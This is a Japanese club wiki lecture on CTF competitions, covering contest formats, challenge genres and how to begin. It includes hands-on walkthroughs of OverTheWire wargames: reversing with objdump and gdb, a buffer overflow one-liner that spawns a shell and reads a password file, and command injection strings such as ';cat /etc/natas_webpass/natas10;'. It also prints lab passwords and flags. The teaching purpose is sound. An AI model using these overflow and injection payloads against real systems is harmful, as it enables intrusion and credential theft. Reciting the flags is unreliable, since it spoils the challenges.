ログイン
編集不可のページディスカッション情報添付ファイル

2017-05-26 17:25:09時点のリビジョン5

メッセージを消す
n4nu/ctflecture

MMA

CTF講習

CTFとは

Capture The Flagの略。情報セキュリティの技術を競うコンテスト

開催方式

Jeopardy

クイズ形式。由来はアメリカのクイズ番組Jeopardy!。

様々なジャンルの問題が出され、問題を解いて得たflagを提出することでポイントを得ることができる。

獲得ポイントの最終スコアで順位が決まる。同一スコアの場合は先にflagを提出したチームが上位となる。

オンラインで行われるCTFは一般的にこの方式。

Attack-Defense

攻防戦形式。A&D,A/Dなどと略される。

各チームに脆弱なサービスが稼働しているサーバーが与えられる。

一定時間ごとに運営がサービスのユーザーとしてflagを書き込み、

他チームはサービスの脆弱性を利用してflagを盗み出して解答サーバーに提出することでポイントを得る。

運営がflagを書き込んでから次のflagを書き込むまでの間を1ラウンドと数える。

ポイントはFlag point, Attack point, Defence point, SLA(Service Level Agreement)で構成される。

それぞれのポイントは各サービスごとで独立しており、全サービスのポイントの合計で順位が決まる。

  • Flag point

    どこかしらのサーバーに対して攻撃が成功した場合に1回きり得ることが出来る。

  • Attack point

    各ラウンド、各チームごとにユニークなflagが決められており、flagを提出するとポイントを得ることが出来る。

    Flag pointと異なりラウンドごとに更新されるので継続してポイントを獲得できる。

  • Defence point

    各ラウンドにおいて他チームからの攻撃を防ぎきることで獲得できるポイント。

  • SLA

    サービスが正常に稼働しているか各ラウンドごとに運営が確認し、稼働していないと判断されると減点される。

    パッチなどを当てた際にこのSLAチェックを通せているか確認しなければならない。

大きな大会の本戦は殆どがこの方式。

King of the Hill

A&Dから派生した形式。KoHと略される。

問題ごとにサーバーが設けられている。

各チームに一定時間ごとに更新されるteam flagが与えられる。

ポイントはAttack pointとDefence pointが存在する。

  • Attack point

    A&DのFlag pointにあたる。問題サーバーの脆弱性を突くことで得ることが出来るポイント。

  • Defence point

    問題サーバーに対して脆弱性を突いてteam flagを書き込むことで獲得できるポイント。

SECCON Finals及びSECCON系のイベントでしか見たことがない。

問題ジャンル

  • Reversing

    与えられたプログラムやシステムを解析する力を問う問題。

    一般的に、ある入力が行われたときだけ動作が変わるプログラムが与えられ、

    その動作が変わる入力をプログラム解析によって求める。

    マルウェア解析やゲームクラックなどがモデル。

  • Pwn

    与えられたプログラムやシステムの脆弱性を発見しExploit(攻撃用コード)を作成する力を問う問題。

    一般的に、与えられたプログラムがサービスとして稼働しており、

    脆弱性を突いてサーバーの中にあるflagファイルの内容を盗み出す。

    PwnはOwnが転じたものと言われている。

  • Web

    Webシステムの脆弱性を発見し、Exploitを作成する力を問う問題。

    一般的に、Webシステムの脆弱性を突いてWebサーバーからflagファイルを盗んだり、

    adminユーザーにしか見れないページを盗み見ることでflagを得る。

  • Crypto

    古典暗号から現代暗号までの暗号技術やそれに対する攻撃方法の知識を問う問題。

    一般的に、暗号化されたflagを暗号文と暗号化プログラムから復元する。

  • Forensics

    ディスクイメージやメモリダンプなどから欠落したり削除された情報を復元する力を問う問題。

    コンピュータ・フォレンジクスがモデル。

  • PPC

    コーディング能力を問う問題。

    競技プログラミングに近いが、自分のPCで実行する場合が多いため使用できるプログラミング言語には制限がない。

    Professional Programming and Codingの略。

CTFの始め方

  1. 取り敢えずCTFに出ましょう。分からなくて解けなくても出ましょう。というか最初は解けなくて当然です。

  2. 解けなかった問題のWriteup(解けた人がCTF終了後に公開する解法)を理解できるまで読み込みましょう。

  3. 1と2を繰り返しましょう。

イベント型CTF

ほぼ毎週末行われるCTF。開催時間は24時間と48時間が標準。

殆どのCTFの開催情報はCTFTimeを見れば集まる。

常設型CTF

開催期間が決められていないCTF。

初心者にはPicoCTFがおすすめ。

他の常設CTFは以下を参照。

常設CTFまとめ - WTF!?

過去問

イベント型CTFの過去問。

  • CTFs - GitHub

    2013年以降のCTFのWriteupがまとめられている。

  • pwn challenges list

    通称batalist。binjaという日本最強のチームに所属しているbataさんが作成した過去のpwnの難易度別リスト。

    • ctf4u

      batalistのどの問題を解いたのかチェックできるサイト

CTFって何に役立つの?

  • やっているとパソコンについて広い知識が少し得られる

  • やっていると情報セキュリティの知識が少し得られる

CTFはつまるところ、「やれば少しは学びがあるのでそこそこ美味しい遊び」という認識を持つべきです。

CTFとの向き合い方 ~CTFで消耗しているすべての人へ~より引用。

ハンズオン

Reversing

http://overthewire.org/wargames/behemoth/

sshコマンドを用いて問題サーバーに接続する。

パスワードはbehemoth0

$ ssh behemoth0@behemoth.labs.overthewire.org -p 2221

fileコマンドを使って下調べをする。

behemoth0@behemoth:~$ cd /behemoth
behemoth0@behemoth:/behemoth$ file behemoth0
behemoth0: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=b955f7301a005e22a15b66e21c250da1c02a9110, not stripped

Intel 80386(x86) 32bitのELFでnon strippedのバイナリ。

ここで、non strippedとはシンボル(関数名)が残されていることを示している。

次にバイナリの解析をする。

取り敢えずどんな動作をするのか動かしてみる。

behemoth0@behemoth:/behemoth$ ./behemoth0
Password: AAAA
Access denied..

Passwordの入力を求めてアクセス許可するか判定している。

どのような処理が行われているのか逆アセンブル結果をもとに解析する。

objdumpコマンドを使って逆アセンブルを行う。

重要な部分(main関数)だけを抜き出したものを以下に示す。

behemoth0@behemoth:/behemoth$ objdump -d behemoth0 -M intel

(snip)

080485a2 <main>:
 80485a2:   55                      push   ebp
 80485a3:   89 e5                   mov    ebp,esp
 80485a5:   83 e4 f0                and    esp,0xfffffff0
 80485a8:   83 ec 70                sub    esp,0x70
 80485ab:   65 a1 14 00 00 00       mov    eax,gs:0x14
 80485b1:   89 44 24 6c             mov    DWORD PTR [esp+0x6c],eax
 80485b5:   31 c0                   xor    eax,eax
 80485b7:   c7 44 24 1f 4f 4b 5e    mov    DWORD PTR [esp+0x1f],0x475e4b4f
 80485be:   47
 80485bf:   c7 44 24 23 53 59 42    mov    DWORD PTR [esp+0x23],0x45425953
 80485c6:   45
 80485c7:   c7 44 24 27 58 5e 59    mov    DWORD PTR [esp+0x27],0x595e58
 80485ce:   00
 80485cf:   c7 44 24 10 20 87 04    mov    DWORD PTR [esp+0x10],0x8048720
 80485d6:   08
 80485d7:   c7 44 24 14 38 87 04    mov    DWORD PTR [esp+0x14],0x8048738
 80485de:   08
 80485df:   c7 44 24 18 4d 87 04    mov    DWORD PTR [esp+0x18],0x804874d
 80485e6:   08
 80485e7:   c7 04 24 61 87 04 08    mov    DWORD PTR [esp],0x8048761
 80485ee:   e8 0d fe ff ff          call   8048400 <printf@plt>
 80485f3:   8d 44 24 2b             lea    eax,[esp+0x2b]
 80485f7:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 80485fb:   c7 04 24 6c 87 04 08    mov    DWORD PTR [esp],0x804876c
 8048602:   e8 69 fe ff ff          call   8048470 <__isoc99_scanf@plt>
 8048607:   8d 44 24 1f             lea    eax,[esp+0x1f]
 804860b:   89 04 24                mov    DWORD PTR [esp],eax
 804860e:   e8 2d fe ff ff          call   8048440 <strlen@plt>
 8048613:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048617:   8d 44 24 1f             lea    eax,[esp+0x1f]
 804861b:   89 04 24                mov    DWORD PTR [esp],eax
 804861e:   e8 5a ff ff ff          call   804857d <memfrob>
 8048623:   8d 44 24 1f             lea    eax,[esp+0x1f]
 8048627:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 804862b:   8d 44 24 2b             lea    eax,[esp+0x2b]
 804862f:   89 04 24                mov    DWORD PTR [esp],eax
 8048632:   e8 b9 fd ff ff          call   80483f0 <strcmp@plt>
 8048637:   85 c0                   test   eax,eax
 8048639:   75 2a                   jne    8048665 <main+0xc3>
 804863b:   c7 04 24 71 87 04 08    mov    DWORD PTR [esp],0x8048771
 8048642:   e8 d9 fd ff ff          call   8048420 <puts@plt>
 8048647:   c7 44 24 08 00 00 00    mov    DWORD PTR [esp+0x8],0x0
 804864e:   00
 804864f:   c7 44 24 04 82 87 04    mov    DWORD PTR [esp+0x4],0x8048782
 8048656:   08
 8048657:   c7 04 24 85 87 04 08    mov    DWORD PTR [esp],0x8048785
 804865e:   e8 fd fd ff ff          call   8048460 <execl@plt>
 8048663:   eb 0c                   jmp    8048671 <main+0xcf>
 8048665:   c7 04 24 8d 87 04 08    mov    DWORD PTR [esp],0x804878d
 804866c:   e8 af fd ff ff          call   8048420 <puts@plt>
 8048671:   b8 00 00 00 00          mov    eax,0x0
 8048676:   8b 54 24 6c             mov    edx,DWORD PTR [esp+0x6c]
 804867a:   65 33 15 14 00 00 00    xor    edx,DWORD PTR gs:0x14
 8048681:   74 05                   je     8048688 <main+0xe6>
 8048683:   e8 88 fd ff ff          call   8048410 <__stack_chk_fail@plt>
 8048688:   c9                      leave
 8048689:   c3                      ret
 804868a:   66 90                   xchg   ax,ax
 804868c:   66 90                   xchg   ax,ax
 804868e:   66 90                   xchg   ax,ax

(snip)

詳しい解析はここでは行わないが、興味のある人は参考資料を元に取り組んでみて欲しい。

目標としては同じ動作をするC言語のコードに戻せると良い。

アセンブリを読むと入力と何かしらの文字列をstrcmp関数を使って比較していることが分かる。

そこでgdb(デバッガー)を用いて動的に解析する。

strcmp関数を呼び出す直前にbreakpointを仕掛けて引数を確認する。

x86 32bitの環境で引数はスタックの上に積まれる。

アドレス
esp + 0x0 arg1
esp + 0x4 arg2
esp + 0x8 arg3
behemoth0@behemoth:/behemoth$ gdb -q behemoth0
Reading symbols from behemoth0...(no debugging symbols found)...done.
(gdb) b *0x8048632
Breakpoint 1 at 0x8048632
(gdb) r
Starting program: /behemoth/behemoth0
Password: AAAAAAAAAAAAAA

Breakpoint 1, 0x08048632 in main ()
(gdb) x/10x $esp
0xffffd6e0: 0xffffd70b  0xffffd6ff  0xffffd700  0x080482d2
0xffffd6f0: 0x08048720  0x08048738  0x0804874d  0x65eb7fe6
0xffffd700: 0x796d7461  0x726f6873
(gdb) x/s 0xffffd70b
0xffffd70b: 'A' <repeats 14 times>
(gdb) x/s 0xffffd6ff
0xffffd6ff: "eatmyshorts"
(gdb)

入力文字列と"eatmyshorts"を比較していることが分かった。

Flag : eatmyshorts

参考資料

Pwn

http://overthewire.org/wargames/narnia/

目標は/etc/narnia_pass/narnia1の内容を盗み取ること。

sshコマンドを用いて問題サーバーに接続する。

パスワードはnarnia0

$ ssh narnia0@narnia.labs.overthewire.org -p 2226

fileコマンドを使って下調べをする。

narnia0@narnia:~$ cd /narnia
narnia0@narnia:/narnia$ file narnia0
narnia0: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=dd54e629928af495112df911bb651846c281d5d8, not stripped

Intel 80386(x86) 32bitのELFでnon strippedのバイナリ。

ソースコードが配布されているので確認する。

```c=
narnia0@narnia:/narnia$ cat narnia0.c
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

*/

include

include

int main(){
long val=0x41414141;
char buf[20];

printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);

printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);

if(val==0xdeadbeef)
    system("/bin/sh");
else {
    printf("WAY OFF!!!!\n");
    exit(1);
}

return 0;

}

変数valが0xdeadbeefという値になればシェルを取ることが出来る。

入力は変数bufに対するものしか無い。

どのような入力を与えれば変数valが書き換わるか考える。

ここでmain関数におけるスタックフレーム(関数ごとのメモリ領域)の表を下に示す。

|アドレス| 値 |
|:---------:|:---:|
| ebp - 0x18| buf[0] 〜 buf[3] | 
| (snip)    | (snip) |
| ebp - 0x8 | buf[16] 〜 buf[19] | 
| ebp - 0x4 | val |
| ebp + 0x0 | saved ebp |
| ebp + 0x4 | retuen address |

つまりメモリ領域では変数bufの直後のの4バイトが変数valの領域となっている。

ここで、先程のソースコードを見るとscanf関数では24文字の入力を受け取るようになっている。

つまり20文字以上の入力を与えると、変数bufの領域を乗り越えて変数valの領域まで書き換えてしまうということ。

これはバッファオーバーフローと呼ばれる脆弱性。

次にvalを0xdeadbeefにするには20文字目以降をどのような文字にすればいいのか考える。

ここで、問題のバイナリのアーキテクチャはx86であり、x86はリトルエンディアンという方式を取っている。

リトルエンディアン方式で変数の値がメモリ領域に保存される時の例を以下に示す。

変数valの値が0x41424344だった場合、メモリ領域では以下のように保存されている。

|アドレス| 値 |
|:---------:|:---:|
| ebp - 0x18| buf[0] 〜 buf[3] | 
| (snip)    | (snip) |
| ebp - 0x8 | buf[16] 〜 buf[19] | 
| ebp - 0x4 | 0x44 |
| ebp - 0x3 | 0x43 |
| ebp - 0x2 | 0x42 |
| ebp - 0x1 | 0x41 |
| ebp + 0x0 | saved ebp |
| ebp + 0x4 | retuen address |

つまり、複数のバイトのデータを並べる時は逆順に並べるという方式。

今回の場合は0xdeadbeefという値にしたいので入力のバイト列は"\xef\xbe\xad\xde"となればよい。

以上の結果を踏まえて攻撃コード(exploit)を作成すると、

narnia0@narnia:/narnia$ (python -c "print 'A'*20+'\xef\xbe\xad\xde'";cat)|./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ�
val: 0xdeadbeef
id
uid=14000(narnia0) gid=14000(narnia0) euid=14001(narnia1) groups=14001(narnia1),14000(narnia0)
cat /etc/narnia_pass/narnia1
efeidiedae

shellを取り、/etc/narnia_pass/narnia1の中身を盗み取ることに成功した。

Flag: `efeidiedae`

### Web
http://natas9.natas.labs.overthewire.org

/etc/natas_webpass/natas10に次のステージのパスワードが書かれているのでこれを盗み取ることが目標。

サーバーにアクセスすると認証を求められるので以下のユーザー名とパスワードを使ってログインする。

ユーザー名 : natas9
パスワード : W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

テキストボックスとボタンが置かれている。

試しに`apple`とテキストボックスに入れ、`Search`ボタンを押すと

`apple`が含まれている単語が表示された。

右下の`View sourcecode`からソースコードを見ることが出来る。

```html=
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas9", "pass": "<censored>" };</script></head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

passthru関数を通してgrepコマンドを使い、テキストボックスに入力した文字列を含んでいる単語をdictionary.txtから探すような処理が書かれている。

passthru関数についてPHPのDocumentで調べると、第1引数をUnixコマンドとして実行する関数だということが分かる。

これはbashやzshなどのシェルでコマンドを実行するときと同じような書き方でコマンドを実行することが出来るということ。

ここで、grep -i $key dictionary.txt$keyに何を入れればいいか。

標準的なshellでは;をコマンドとコマンドの間に挟むことで1行の入力で複数コマンドを連続して実行できる。

これを利用しgrep以外のコマンドの実行を試みる。

もし$keyに;ls;という文字列が入れられたと仮定すると、grep -i ;ls; dictionary.txtというコマンドが実行されることになる。

最初のgrep -iはコマンドの引数が足りないので標準出力には何も吐かずに終了する。

次にlsが実行され、カレントディレクトリのファイル一覧が表示される。

試しにテキストボックスに;ls;と入力してSearchボタンを押すと、

dictionary.txt
index-source.html
index.php
index.php.tmpl

と表示された。

任意のコマンドが実行できるようになったので後は/etc/natas_webpass/natas10を読めばいい。

テキストファイルを読むにはcatコマンドを使えばいいので、

テキストボックスに;cat /etc/natas_webpass/natas10;と入力してSearchボタンを押すと、

nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

と表示された。

Flag : nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

参考